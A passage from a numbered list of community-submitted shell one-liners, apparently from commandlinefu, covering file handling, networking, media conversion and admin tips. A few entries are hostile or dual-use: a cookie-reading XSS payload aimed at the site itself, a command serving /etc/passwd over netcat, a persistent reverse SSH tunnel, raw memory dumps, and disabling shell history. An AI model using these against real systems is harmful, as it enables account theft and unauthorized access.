892man ls | col -b > ~/Desktop/man_ls.txt
893
894# Find if the command has an alias
895type -all command
896
897# Share a 'screen'-session
898screen -x
899
900# Show all detected mountable Drives/Partitions/BlockDevices
901hwinfo --block --short
902
903# view the system console remotely
904sudo cat /dev/vcs1 | fold -w 80
905
906# Download all Delicious bookmarks
907curl -u username -o bookmarks.xml https://api.del.icio.us/v1/posts/all
908
909# I hate `echo X | Y`
910base64 -d <<< aHR0cDovL3d3dy50d2l0dGVyc2hlZXAuY29tL3Jlc3VsdHMucGhwP3U9Y29tbWFuZGxpbmVmdQo=
911
912# find the process that is using a certain port e.g. port 3000
913lsof -P | grep ':3000'
914
915# Schedule a download at a later time
916echo 'wget url' | at 01:00
917
918# create dir tree
919mkdir -p doc/{text/,img/{wallpaper/,photos/}}
920
921# Backup your hard drive with dd
922sudo dd if=/dev/sda of=/media/disk/backup/sda.backup
923
924
925
926# Extract audio from a video
927ffmpeg -i video.avi -f mp3 audio.mp3
928
929# Quick glance at who's been using your system recently
930last | grep -v "^$" | awk '{ print $1 }' | sort -nr | uniq -c
931
932# Get Dell Service Tag Number from a Dell Machine
933sudo dmidecode | grep Serial\ Number | head -n1
934
935# change directory to actual path instead of symlink path
936cd `pwd -P`
937
938# List of commands you use most often
939history | awk '{print $2}' | sort | uniq -c | sort -rn | head
940
941# Generat a Random MAC address
942MAC=`(date; cat /proc/interrupts) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'`
943
944# ssh tunnel with auto reconnect ability
945while [ ! -f /tmp/stop ]; do ssh -o ExitOnForwardFailure=yes -R 2222:localhost:22 target "while nc -zv localhost 2222; do sleep 5; done"; sleep 5;done
946
947# Use last argument of last command
948file !$
949
950# Recursively remove .svn directories from the current location
951find . -type d -name '.svn' -print0 | xargs -0 rm -rdf
952
953# Get http headers for an url
954curl -I www.commandlinefu.com
955
956# View all date formats, Quick Reference Help Alias
957alias dateh='date --help|sed "/^ *%a/,/^ *%Z/!d;y/_/!/;s/^ *%\([:a-z]\+\) \+/\1_/gI;s/%/#/g;s/^\([a-y]\|[z:]\+\)_/%%\1_%\1_/I"|while read L;do date "+${L}"|sed y/!#/%%/;done|column -ts_'
958
959# copy from host1 to host2, through your host
960ssh root@host1 "cd /somedir/tocopy/ && tar -cf - ." | ssh root@host2 "cd /samedir/tocopyto/ && tar -xf -"
961
962# Print a row of characters across the terminal
963printf "%`tput cols`s"|tr ' ' '#'
964
965# Remote screenshot
966DISPLAY=":0.0" import -window root screenshot.png
967
968# Make ISO image of a folder
969mkisofs -J -allow-lowercase -R -V "OpenCD8806" -iso-level 4 -o OpenCD.iso ~/OpenCD
970
971# Play music from youtube without download
972wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame -| mpg123 -
973
974# geoip information
975curl -s "http://www.geody.com/geoip.php?ip=$(curl -s icanhazip.com)" | sed '/^IP:/!d;s/<[^>][^>]*>//g'
976
977# generate a unique and secure password for every website that you login to
978sitepass() { echo -n "$@" | md5sum | sha1sum | sha224sum | sha256sum | sha384sum | sha512sum | gzip - | strings -n 1 | tr -d "[:space:]" | tr -s '[:print:]' | tr '!-~' 'P-~!-O' | rev | cut -b 2-11; history -d $(($HISTCMD-1)); }
979
980# Pretty Print a simple csv in the command line
981column -s, -t <tmp.csv
982
983# Create a directory and change into it at the same time
984md () { mkdir -p "$@" && cd "$@"; }
985
986# Save current layout of top
987<Shift + W>
988
989# Identify differences between directories (possibly on different servers)
990diff <(ssh server01 'cd config; find . -type f -exec md5sum {} \;| sort -k 2') <(ssh server02 'cd config;find . -type f -exec md5sum {} \;| sort -k 2')
991
992# find all active IP addresses in a network
993arp-scan -l
994
995# Mount the first NTFS partition inside a VDI file (VirtualBox Disk Image)
996mount -t ntfs-3g -o ro,loop,uid=user,gid=group,umask=0007,fmask=0117,offset=0x$(hd -n 1000000 image.vdi | grep "eb 52 90 4e 54 46 53" | cut -c 1-8) image.vdi /mnt/vdi-ntfs
997
998# Get your external IP address
999curl -s 'http://checkip.dyndns.org' | sed 's/.*Current IP Address: \([0-9\.]*\).*/\1/g'
1000
1001
1002
1003# Use all the cores or CPUs when compiling
1004make -j 4
1005
1006# Update twitter via curl
1007curl -u user -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml
1008
1009# Analyze awk fields
1010awk '{print NR": "$0; for(i=1;i<=NF;++i)print "\t"i": "$i}'
1011
1012# List programs with open ports and connections
1013lsof -i
1014
1015# Colored SVN diff
1016svn diff <file> | vim -R -
1017
1018# Run a command, store the output in a pastebin on the internet and place the URL on the xclipboard
1019ls | curl -F 'sprunge=<-' http://sprunge.us | xclip
1020
1021# Find last reboot time
1022who -b
1023
1024# Get your public ip using dyndns
1025curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+"
1026
1027# Start screen in detached mode
1028screen -d -m [<command>]
1029
1030# Diff files on two remote hosts.
1031diff <(ssh alice cat /etc/apt/sources.list) <(ssh bob cat /etc/apt/sources.list)
1032
1033# Ctrl+S Ctrl+Q terminal output lock and unlock
1034Ctrl+S Ctrl+Q
1035
1036# Rsync remote data as root using sudo
1037rsync --rsync-path 'sudo rsync' username@source:/folder/ /local/
1038
1039# Create a favicon
1040convert -colors 256 -resize 16x16 face.jpg face.ppm && ppmtowinicon -output favicon.ico face.ppm
1041
1042# Convert all MySQL tables and fields to UTF8
1043mysql --database=dbname -B -N -e "SHOW TABLES" | awk '{print "ALTER TABLE", $1, "CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;"}' | mysql --database=dbname &
1044
1045# Send keypresses to an X application
1046xvkbd -xsendevent -text "Hello world"
1047
1048# Cut out a piece of film from a file. Choose an arbitrary length and starting time.
1049ffmpeg -vcodec copy -acodec copy -i orginalfile -ss 00:01:30 -t 0:0:20 newfile
1050
1051# Check Ram Speed and Type in Linux
1052sudo dmidecode --type 17 | more
1053
1054# Run any GUI program remotely
1055ssh -fX <user>@<host> <program>
1056
1057# Run the Firefox Profile Manager
1058firefox -no-remote -P
1059
1060# Append stdout and stderr to a file, and print stderr to the screen [bash]
1061somecommand 2>&1 >> logfile | tee -a logfile
1062
1063# Delete the specified line
1064sed -i 8d ~/.ssh/known_hosts
1065
1066# Pipe STDOUT to vim
1067tail -1000 /some/file | vim -
1068
1069# Grep for word in directory (recursive)
1070grep --color=auto -iRnH "$search_word" $directory
1071
1072# Batch convert files to utf-8
1073find . -name "*.php" -exec iconv -f ISO-8859-1 -t UTF-8 {} -o ../newdir_utf8/{} \;
1074
1075# ping a range of IP addresses
1076nmap -sP 192.168.1.100-254
1077
1078
1079
1080# find process associated with a port
1081fuser [portnumber]/[proto]
1082
1083# Restrict the bandwidth for the SCP command
1084scp -l10 pippo@serverciccio:/home/zutaniddu/* .
1085
1086# Grep by paragraph instead of by line.
1087grepp() { [ $# -eq 1 ] && perl -00ne "print if /$1/i" || perl -00ne "print if /$1/i" < "$2";}
1088
1089# Vim: Switch from Horizontal split to Vertical split
1090^W-L
1091
1092# copy working directory and compress it on-the-fly while showing progress
1093tar -cf - . | pv -s $(du -sb . | awk '{print $1}') | gzip > out.tgz
1094
1095# Split a tarball into multiple parts
1096tar cf - <dir>|split -b<max_size>M - <name>.tar.
1097
1098# Clean your broken terminal
1099stty sane
1100
1101# Kill processes that have been running for more than a week
1102find /proc -user myuser -maxdepth 1 -type d -mtime +7 -exec basename {} \; | xargs kill -9
1103
1104# Ultimate current directory usage command
1105ncdu
1106
1107# Get all these commands in a text file with description.
1108for x in `jot - 0 2400 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done > commandlinefu.txt
1109
1110# Show git branches by date - useful for showing active branches
1111for k in `git branch|perl -pe s/^..//`;do echo -e `git show --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k|head -n 1`\\t$k;done|sort -r
1112
1113# find files containing text
1114grep -lir "some text" *
1115
1116# Set your profile so that you resume or start a screen session on login
1117echo "screen -DR" >> ~/.bash_profile
1118
1119# Purge configuration files of removed packages on debian based systems
1120sudo aptitude purge `dpkg --get-selections | grep deinstall | awk '{print $1}'`
1121
1122# Grep colorized
1123grep -i --color=auto
1124
1125# Given process ID print its environment variables
1126sed 's/\o0/\n/g' /proc/INSERT_PID_HERE/environ
1127
1128# beep when a server goes offline
1129while true; do [ "$(ping -c1W1w1 server-or-ip.com | awk '/received/ {print $4}')" != 1 ] && beep; sleep 1; done
1130
1131# Number of open connections per ip.
1132netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
1133
1134# git remove files which have been deleted
1135git rm $(git ls-files --deleted)
1136
1137# Calculates the date 2 weeks ago from Saturday the specified format.
1138date -d '2 weeks ago Saturday' +%Y-%m-%d
1139
1140# Resume aborted scp file transfers
1141rsync --partial --progress --rsh=ssh SOURCE DESTINATION
1142
1143# Another Curl your IP command
1144curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g'
1145
1146# Add your public SSH key to a server in one command
1147cat .ssh/id_rsa.pub | ssh hostname 'cat >> .ssh/authorized_keys'
1148
1149# pattern match in awk - no grep
1150awk '/pattern1/ && /pattern2/ && !/pattern3/ {print}'
1151
1152# Echo the latest commands from commandlinefu on the console
1153wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\s*<title/ {z=match($0, /CDATA\[([^\]]*)\]/, b);print b[1]} /\s*<description/ {c=match($0, /code>(.*)<\/code>/, d);print d[1]"\n"} '
1154
1155
1156
1157# scping files with streamlines compression (tar gzip)
1158tar czv file1 file2 folder1 | ssh user@server tar zxv -C /destination
1159
1160# Optimal way of deleting huge numbers of files
1161find /path/to/dir -type f -print0 | xargs -0 rm
1162
1163# GREP a PDF file.
1164pdftotext [file] - | grep 'YourPattern'
1165
1166# find and delete empty dirs, start in current working dir
1167find . -type d -empty -delete
1168
1169# Change pidgin status
1170purple-remote "setstatus?status=away&message=AFK"
1171
1172# convert vdi to vmdk (virtualbox hard disk conversion to vmware hard disk format)
1173VBoxManage internalcommands converttoraw winxp.vdi winxp.raw && qemu-img convert -O vmdk winxp.raw winxp.vmdk && rm winxp.raw
1174
1175# Change user, assume environment, stay in current dir
1176su -- user
1177
1178# List Network Tools in Linux
1179apropos network |more
1180
1181# A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram
1182sudo strings /dev/mem
1183
1184# Get all IPs via ifconfig
1185ifconfig | perl -nle'/dr:(\S+)/ && print $1'
1186
1187# Twitter update from terminal (pok3's snipts ?)
1188curl -u YourUsername:YourPassword -d status="Your status message go here" http://twitter.com/statuses/update.xml
1189
1190# VIM: Replace a string with an incrementing number between marks 'a and 'b (eg, convert string ZZZZ to 1, 2, 3, ...)
1191:let i=0 | 'a,'bg/ZZZZ/s/ZZZZ/\=i/ | let i=i+1
1192
1193# Multiple SSH Tunnels
1194ssh -L :: -L :: @
1195
1196# wrap long lines of a text
1197fold -s -w 90 file.txt
1198
1199# Create directory named after current date
1200mkdir $(date +%Y%m%d)
1201
1202# Terminal redirection
1203script /dev/null | tee /dev/pts/3
1204
1205# Monitor dynamic changes in the dmesg log.
1206watch "dmesg |tail -15"
1207
1208# Monitor TCP opened connections
1209watch -n 1 "netstat -tpanl | grep ESTABLISHED"
1210
1211# Pause Current Thread
1212ctrl-z
1213
1214# quickly change all .html extensions on files in folder to .htm
1215for i in *.html ; do mv $i ${i%.html}.htm ; done
1216
1217# Sort dotted quads
1218sort -nt . -k 1,1 -k 2,2 -k 3,3 -k 4,4
1219
1220# Backup a remote database to your local filesystem
1221ssh user@host 'mysqldump dbname | gzip' > /path/to/backups/db-backup-`date +%Y-%m-%d`.sql.gz
1222
1223# Find recursively, from current directory down, files and directories whose names contain single or multiple whitespaces and replace each such occurrence with a single underscore.
1224find ./ -name '*' -exec rename 's/\s+/_/g' {} \;
1225
1226# count IPv4 connections per IP
1227netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | sed s/::ffff:// | cut -d: -f1 | sort | uniq -c | sort -n
1228
1229# Just run it ;)
1230echo SSBMb3ZlIFlvdQo= | base64 -d
1231
1232
1233
1234# cycle through a 256 colour palette
1235yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
1236
1237# add all files not under version control to repository
1238svn status |grep '\?' |awk '{print $2}'| xargs svn add
1239
1240# Get your outgoing IP address
1241curl -s ip.appspot.com
1242
1243# Working random fact generator
1244wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;"
1245
1246# Limit bandwidth usage by apt-get
1247sudo apt-get -o Acquire::http::Dl-Limit=30 upgrade
1248
1249# Makes you look busy
1250alias busy='my_file=$(find /usr/include -type f | sort -R | head -n 1); my_len=$(wc -l $my_file | awk "{print $1}"); let "r = $RANDOM % $my_len" 2>/dev/null; vim +$r $my_file'
1251
1252# Open Remote Desktop (RDP) from command line and connect local resources
1253rdesktop -a24 -uAdministrator -pPassword -r clipboard:CLIPBOARD -r disk:share=~/share -z -g 1280x900 -0 $@ &
1254
1255# Do some learning...
1256ls /usr/bin | xargs whatis | grep -v nothing | less
1257
1258# Insert the last argument of the previous command
1259<ALT> .
1260
1261# Typing the current date ( or any string ) via a shortcut as if the keys had been actually typed with the hardware keyboard in any application.
1262xvkbd -xsendevent -text $(date +%Y%m%d)
1263
1264# bash screensaver (scrolling ascii art with customizable message)
1265while [ 1 ]; do banner 'ze missiles, zey are coming! ' | while IFS="\n" read l; do echo "$l"; sleep 0.01; done; done
1266
1267# Tune your guitar from the command line.
1268for n in E2 A2 D3 G3 B3 E4;do play -n synth 4 pluck $n repeat 2;done
1269
1270# Amazing real time picture of the sun in your wallpaper
1271curl http://sohowww.nascom.nasa.gov/data/realtime/eit_195/512/latest.jpg | xli -onroot -fill stdin
1272
1273# Backup a local drive into a file on the remote host via ssh
1274dd if=/dev/sda | ssh user@server 'dd of=sda.img'
1275
1276# More precise BASH debugging
1277env PS4=' ${BASH_SOURCE}:${LINENO}(${FUNCNAME[0]}) ' sh -x /etc/profile
1278
1279# is today the end of the month?
1280[ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month'
1281
1282# Show Directories in the PATH Which does NOT Exist
1283(IFS=:;for p in $PATH; do test -d $p || echo $p; done)
1284
1285# Testing hard disk reading speed
1286hdparm -t /dev/sda
1287
1288# Print text string vertically, one character per line.
1289echo "vertical text" | grep -o '.'
1290
1291# display an embeded help message from bash script header
1292[ "$1" == "--help" ] && { sed -n -e '/^# Usage:/,/^$/ s/^# \?//p' < $0; exit; }
1293
1294# Send data securly over the net.
1295cat /etc/passwd | openssl aes-256-cbc -a -e -pass pass:password | netcat -l -p 8080
1296
1297# When was your OS installed?
1298ls -lct /etc | tail -1 | awk '{print $6, $7}'
1299
1300# Replace spaces in filenames with underscorees
1301rename -v 's/ /_/g' *
1302
1303# bash: hotkey to put current commandline to text-editor
1304bash-hotkey: <CTRL+x+e>
1305
1306# move a lot of files over ssh
1307tar -cf - /home/user/test | gzip -c | ssh user@sshServer 'cd /tmp; tar xfz -'
1308
1309
1310
1311# print file without duplicated lines using awk
1312awk '!a[$0]++' file
1313
1314# Cleanup firefox's database.
1315pgrep -u `id -u` firefox-bin || find ~/.mozilla/firefox -name '*.sqlite'|(while read -e f; do echo 'vacuum;'|sqlite3 "$f" ; done)
1316
1317# Stream YouTube URL directly to mplayer
1318id="dMH0bHeiRNg";mplayer -fs http://youtube.com/get_video.php?video_id=$id\&t=$(curl -s http://www.youtube.com/watch?v=$id | sed -n 's/.*, "t": "\([^"]*\)", .*/\1/p')
1319
1320# Change proccess affinity.
1321taskset -cp <core> <pid>
1322
1323# Download file with multiple simultaneous connections
1324aria2c -s 4 http://my/url
1325
1326# Pick a random line from a file
1327shuf -n1 file.txt
1328
1329# Use xdg-open to avoid hard coding browser commands
1330xdg-open http://gmail.com
1331
1332# Search commandlinefu from the CLI
1333curl -sd q=Network http://www.commandlinefu.com/search/autocomplete |html2text -width 100
1334
1335# Find removed files still in use via /proc
1336find -L /proc/*/fd -links 0 2>/dev/null
1337
1338# Using bash inline "here document" with three less-than symbols on command line
1339<<<"k=1024; m=k*k; g=k*m; g" bc
1340
1341# Super Speedy Hexadecimal or Octal Calculations and Conversions to Decimal.
1342echo "$(( 0x10 )) - $(( 010 )) = $(( 0x10 - 010 ))"
1343
1344# Recursively compare two directories and output their differences on a readable format
1345diff -urp /originaldirectory /modifieddirectory
1346
1347# Connect to google talk through ssh by setting your IM client to use the localhost 5432 port
1348ssh -f -N -L 5432:talk.google.com:5222 user@home.network.com
1349
1350# find and replace tabs for spaces within files recursively
1351find ./ -type f -exec sed -i 's/\t/ /g' {} \;
1352
1353# urldecoding
1354sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e
1355
1356# alt + 1 .
1357alt + 1 .
1358
1359# Show a config file without comments
1360egrep -v "^$|^[[:space:]]*#" /etc/some/file
1361
1362# Display last exit status of a command
1363echo $?
1364
1365# Create several copies of a file
1366for i in {1..5}; do cp test{,$i};done
1367
1368# Delete all files found in directory A from directory B
1369for file in <directory A>/*; do rm <directory B>/`basename $file`; done
1370
1371# Nice info browser
1372pinfo
1373
1374# Convert camelCase to underscores (camel_case)
1375sed -r 's/([a-z]+)([A-Z][a-z]+)/\1_\l\2/g' file.txt
1376
1377# play high-res video files on a slow processor
1378mplayer -framedrop -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=all
1379
1380# List your largest installed packages.
1381wajig large
1382
1383# Displays the attempted user name, ip address, and time of SSH failed logins on Debian machines
1384awk '/sshd/ && /Failed/ {gsub(/invalid user/,""); printf "%-12s %-16s %s-%s-%s\n", $9, $11, $1, $2, $3}' /var/log/auth.log
1385
1386
1387
1388# Download schedule
1389echo 'wget url' | at 12:00
1390
1391# Fix Ubuntu's Broken Sound Server
1392sudo killall -9 pulseaudio; pulseaudio >/dev/null 2>&1 &
1393
1394# Look up the definition of a word
1395curl dict://dict.org/d:something
1396
1397# from within vi, pipe a chunk of lines to a command line and replace the chunk with the result
1398!}sort
1399
1400# Browse system RAM in a human readable form
1401sudo cat /proc/kcore | strings | awk 'length > 20' | less
1402
1403# [re]verify a disc with very friendly output
1404dd if=/dev/cdrom | pv -s 700m | md5sum | tee test.md5
1405
1406# Traceroute w/TCP to get through firewalls.
1407tcptraceroute www.google.com
1408
1409# Find distro name and/or version/release
1410cat /etc/*-release
1411
1412# Read the output of a command into the buffer in vim
1413:r !command
1414
1415# Split File in parts
1416split -b 19m file Nameforpart
1417
1418# Get your mac to talk to you
1419say -v Vicki "Hi, I'm a mac"
1420
1421# Open a man page as a PDF in Gnome
1422TF=`mktemp` && man -t YOUR_COMMAND >> $TF && gnome-open $TF
1423
1424# Grep without having it show its own process in the results
1425ps aux | grep "[s]ome_text"
1426
1427# Remove all subversion files from a project recursively
1428rm -rf `find . -type d -name .svn`
1429
1430# Tells which group you DON'T belong to (opposite of command "groups") --- uses sed
1431sed -e "/$USER/d;s/:.*//g" /etc/group | sed -e :a -e '/$/N;s/\n/ /;ta'
1432
1433# renames multiple files that match the pattern
1434rename 's/foo/bar/g' *
1435
1436# Show which programs are listening on TCP and UDP ports
1437netstat -plunt
1438
1439# Count files beneath current directory (including subfolders)
1440find . -type f | wc -l
1441
1442# Opens vi/vim at pattern in file
1443vi +/pattern [file]
1444
1445# List complete size of directories (do not consider hidden directories)
1446du -hs */
1447
1448# Convert all Flac in a directory to Mp3 using maximum quality variable bitrate
1449for file in *.flac; do flac -cd "$file" | lame -q 0 --vbr-new -V 0 - "${file%.flac}.mp3"; done
1450
1451# ignore the .svn directory in filename completion
1452export FIGNORE=.svn
1453
1454# Temporarily ignore known SSH hosts
1455ssh -o UserKnownHostsFile=/dev/null root@192.168.1.1
1456
1457# Save the Top 2500 commands from commandlinefu to a single text file
1458
1459# Recover remote tar backup with ssh
1460ssh user@host "cat /path/to/backup/backupfile.tar.bz2" |tar jpxf -
1461
1462
1463
1464# Remote backups with tar over ssh
1465tar jcpf - [sourceDirs] |ssh user@host "cat > /path/to/backup/backupfile.tar.bz2"
1466
1467# Copy a file using pv and watch its progress
1468pv sourcefile > destfile
1469
1470# Pronounce an English word using Dictionary.com
1471pronounce(){ wget -qO- $(wget -qO- "http://dictionary.reference.com/browse/$@" | grep 'soundUrl' | head -n 1 | sed 's|.*soundUrl=\([^&]*\)&.*|\1|' | sed 's/%3A/:/g;s/%2F/\//g') | mpg123 -; }
1472
1473# Display a wave pattern
1474ruby -e "i=0;loop{puts ' '*(29*(Math.sin(i)/2+1))+'|'*(29*(Math.cos(i)/2+1)); i+=0.1}"
1475
1476# send a message to a windows machine in a popup
1477echo "message" | smbclient -M NAME_OF_THE_COMPUTER
1478
1479# create a temporary file in a command line call
1480any_script.sh < <(some command)
1481
1482# See your current RAM frequency
1483dmidecode -t 17 | awk -F":" '/Speed/ { print $2 }'
1484
1485# Perl Command Line Interpreter
1486perl -e 'while(1){print"> ";eval<>}'
1487
1488# grab all commandlinefu shell functions into a single file, suitable for sourcing.
1489export QQ=$(mktemp -d);(cd $QQ; curl -s -O http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25];for i in $(perl -ne 'print "$1\n" if( /^(\w+\(\))/ )' *|sort -u);do grep -h -m1 -B1 $i *; done)|grep -v '^--' > clf.sh;rm -r $QQ
1490
1491# Insert the last argument of the previous command
1492!$
1493
1494# Find unused IPs on a given subnet
1495nmap -T4 -sP 192.168.2.0/24 && egrep "00:00:00:00:00:00" /proc/net/arp
1496
1497# silent/shh - shorthand to make commands really quiet
1498silent(){ $@ > /dev/null 2>&1; }; alias shh=silent
1499
1500# Change your swappiness Ratio under linux
1501sysctl vm.swappiness=50
1502
1503# Determine what an process is actually doing
1504sudo strace -pXXXX -e trace=file
1505
1506# extract email adresses from some file (or any other pattern)
1507grep -Eio '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})'
1508
1509# Carriage return for reprinting on the same line
1510while true; do echo -ne "$(date)\r"; sleep 1; done
1511
1512# bash screensaver off
1513setterm -powersave off -blank 0
1514
1515# Copy a folder tree through ssh using compression (no temporary files)
1516ssh <host> 'tar -cz /<folder>/<subfolder>' | tar -xvz
1517
1518# Remove lines that contain a specific pattern($1) from file($2).
1519sed -i '/myexpression/d' /path/to/file.txt
1520
1521# What is my ip?
1522curl http://www.whatismyip.org/
1523
1524# grep -v with multiple patterns.
1525grep 'test' somefile | grep -vE '(error|critical|warning)'
1526
1527# lotto generator
1528echo $(shuf -i 1-49 | head -n6 | sort -n)
1529
1530# convert filenames in current directory to lowercase
1531rename 'y/A-Z/a-z/' *
1532
1533# Monitor a file's size
1534watch -n60 du /var/log/messages
1535
1536# FAST and NICE Search and Replace for Strings in Files
1537nice -n19 sh -c 'S=askapache && R=htaccess; find . -type f|xargs -P5 -iFF grep -l -m1 "$S" FF|xargs -P5 -iFF sed -i -e s%${S}%${R}% FF'
1538
1539
1540
1541# save date and time for each command in history
1542export HISTTIMEFORMAT="%h/%d-%H:%M:%S "
1543
1544# Create/open/use encrypted directory
1545encfs ~/.crypt ~/crypt
1546
1547# Function that outputs dots every second until command completes
1548sleeper(){ while `ps -p $1 &>/dev/null`; do echo -n "${2:-.}"; sleep ${3:-1}; done; }; export -f sleeper
1549
1550# Log your internet download speed
1551echo $(date +%s) > start-time; URL=http://www.google.com; while true; do echo $(curl -L --w %{speed_download} -o/dev/null -s $URL) >> bps; sleep 10; done &
1552
1553# Backup files older than 1 day on /home/dir, gzip them, moving old file to a dated file.
1554find /home/dir -mtime +1 -print -exec gzip -9 {} \; -exec mv {}.gz {}_`date +%F`.gz \;
1555
1556# Show directories in the PATH, one per line
1557echo $PATH | tr \: \\n
1558
1559# vim easter egg
1560$ vim ... :help 42
1561
1562# Find the process you are looking for minus the grepped one
1563pgrep command_name
1564
1565# Add
1566rename 's/^/prefix/' *
1567
1568# uncomment the lines where the word DEBUG is found
1569sed '/^#.*DEBUG.*/ s/^#//' $FILE
1570
1571# put all lines in comment where de word DEBUG is found
1572sed -i 's/^.*DEBUG.*/#&/' $file
1573
1574# Follow tail by name (fix for rolling logs with tail -f)
1575tail -F file
1576
1577# Disable annoying sound emanations from the PC speaker
1578sudo rmmod pcspkr
1579
1580# Stripping ^M at end of each line for files
1581dos2unix <filenames>
1582
1583# IFS - use entire lines in your for cycles
1584export IFS=$(echo -e "\n")
1585
1586# Compare a remote file with a local file
1587vimdiff <file> scp://[<user>@]<host>/<file>
1588
1589# Attempt an XSS exploit on commandlinefu.com
1590perl -pi -e 's/<a href="#" onmouseover="console.log('xss! '+document.cookie)" style="position:absolute;height:0;width:0;background:transparent;font-weight:normal;">xss</a>/<\/a>/g'
1591
1592# Backup files incremental with rsync to a NTFS-Partition
1593rsync -rtvu --modify-window=1 --progress /media/SOURCE/ /media/TARGET/
1594
1595# Set an alarm to wake up [2]
1596echo "aplay path/to/song" |at [time]
1597
1598# Alias for getting OpenPGP keys for Launchpad PPAs on Ubuntu
1599alias launchpadkey="sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys"
1600
1601# Create a Multi-Part Archive Without Proprietary Junkware
1602tar czv Pictures | split -d -a 3 -b 16M - pics.tar.gz.
1603
1604# disable history for current shell session
1605unset HISTFILE
1606
1607# Go (cd) directly into a new temp folder
1608cd $(mktemp -d)
1609
1610# for all flv files in a dir, grab the first frame and make a jpg.
1611for f in *.flv; do ffmpeg -y -i "$f" -f image2 -ss 10 -vframes 1 -an "${f%.flv}.jpg"; done
1612
1613# Dumping Audio stream from flv (using ffmpeg)
1614ffmpeg -i <filename>.flv -vn <filename>.mp3
1615
1616
1617
1618# Enable ** to expand files recursively (>=bash-4.0)
1619shopt -s globstar
1620
1621# Command Line to Get the Stock Quote via Yahoo
1622curl -s 'http://download.finance.yahoo.com/d/quotes.csv?s=csco&f=l1'
1623
1624# Plays Music from SomaFM
1625read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl http://somafm.com/startstream=${REPLY}.pls
1626
1627# Search for a single file and go to it
1628cd $(dirname $(find ~ -name emails.txt))
1629
1630# sends your internal IP by email
1631ifconfig en1 | awk '/inet / {print $2}' | mail -s "hello world" email@email.com
1632
1633# printing barcodes
1634ls /home | head -64 | barcode -t 4x16 | lpr
1635
1636# Rot13 using the tr command
1637alias rot13="tr '[A-Za-z]' '[N-ZA-Mn-za-m]'"
1638
1639# Measures download speed on eth0
1640while true; do X=$Y; sleep 1; Y=$(ifconfig eth0|grep RX\ bytes|awk '{ print $2 }'|cut -d : -f 2); echo "$(( Y-X )) bps"; done
1641
1642# loop over a set of items that contain spaces
1643ls | while read ITEM; do echo "$ITEM"; done
1644
1645# Converts to PDF all the OpenOffice.org files in the directory
1646for i in $(ls *.od{tp]); do unoconv -f pdf $i; done
1647
1648# Processes by CPU usage
1649ps -e -o pcpu,cpu,nice,state,cputime,args --sort pcpu | sed "/^ 0.0 /d"
1650
1651# Rotate a set of photos matching their EXIF data.
1652jhead -autorot *.jpg
1653
1654# Quickly find a count of how many times invalid users have attempted to access your system
1655gunzip -c /var/log/auth.log.*.gz | cat - /var/log/auth.log /var/log/auth.log.0 | grep "Invalid user" | awk '{print $8;}' | sort | uniq -c | less
1656
1657# New files from parts of current buffer
1658:n,m w newfile.txt
1659
1660# Launch a command from a manpage
1661!date
1662
1663# hard disk information - Model/serial no.
1664hdparm -i[I] /dev/sda
1665
1666# Wrap text files on the command-line for easy reading
1667fold -s <filename>
1668
1669# Re-read partition table on specified device without rebooting system (here /dev/sda).
1670blockdev --rereadpt /dev/sda
1671
1672# Speak the top 6 lines of your twitter timeline every 5 minutes.....
1673while [ 1 ]; do curl -s -u username:password http://twitter.com/statuses/friends_timeline.rss|grep title|sed -ne 's/<\/*title>//gp' | head -n 6 |festival --tts; sleep 300;done
1674
1675# Sort a one-per-line list of email address, weeding out duplicates
1676sed 's/[ \t]*$//' < emails.txt | tr 'A-Z' 'a-z' | sort | uniq > emails_sorted.txt
1677
1678# Create an SSH SOCKS proxy server on localhost:8000 that will re-start itself if something breaks the connection temporarily
1679autossh -f -M 20000 -D 8000 somehost -N
1680
1681# Press ctrl+r in a bash shell and type a few letters of a previous command
1682^r in bash begins a reverse-search-history with command completion
1683
1684# List only directory names
1685ls -d */
1686
1687# bash shortcut: !$ !^ !* !:3 !:h and !:t
1688echo foo bar foobar barfoo && echo !$ !^ !:3 !* && echo /usr/bin/foobar&& echo !$:h !$:t
1689
1690# scp file from hostb to hostc while logged into hosta
1691scp user@hostb:file user@hostc:
1692
1693
1694
1695# Backup all MySQL Databases to individual files
1696for I in `echo "show databases;" | mysql | grep -v Database`; do mysqldump $I > "$I.sql"; done
1697
1698# To get you started!
1699vimtutor
1700
1701# Wget Command to Download Full Recursive Version of Web Page
1702wget -p --convert-links http://www.foo.com
1703
1704# Files extension change
1705rename .oldextension .newextension *.oldextension
1706
1707# archive all files containing local changes (svn)
1708svn st | cut -c 8- | sed 's/^/\"/;s/$/\"/' | xargs tar -czvf ../backup.tgz
1709
1710# watch process stack, sampled at 1s intervals
1711watch -n 1 'pstack 12345 | tac'
1712
1713# fast access to any of your favorite directory.
1714alias pi='`cat ~/.pi | grep ' ; alias addpi='echo "cd `pwd`" >> ~/.pi'
1715
1716# Block an IP address from connecting to a server
1717iptables -A INPUT -s 222.35.138.25/32 -j DROP
1718
1719# infile search and replace on N files (including backup of the files)
1720perl -pi.bk -e's/foo/bar/g' file1 file2 fileN
1721
1722# Resume a detached screen session, resizing to fit the current terminal
1723screen -raAd
1724
1725# send DD a signal to print its progress
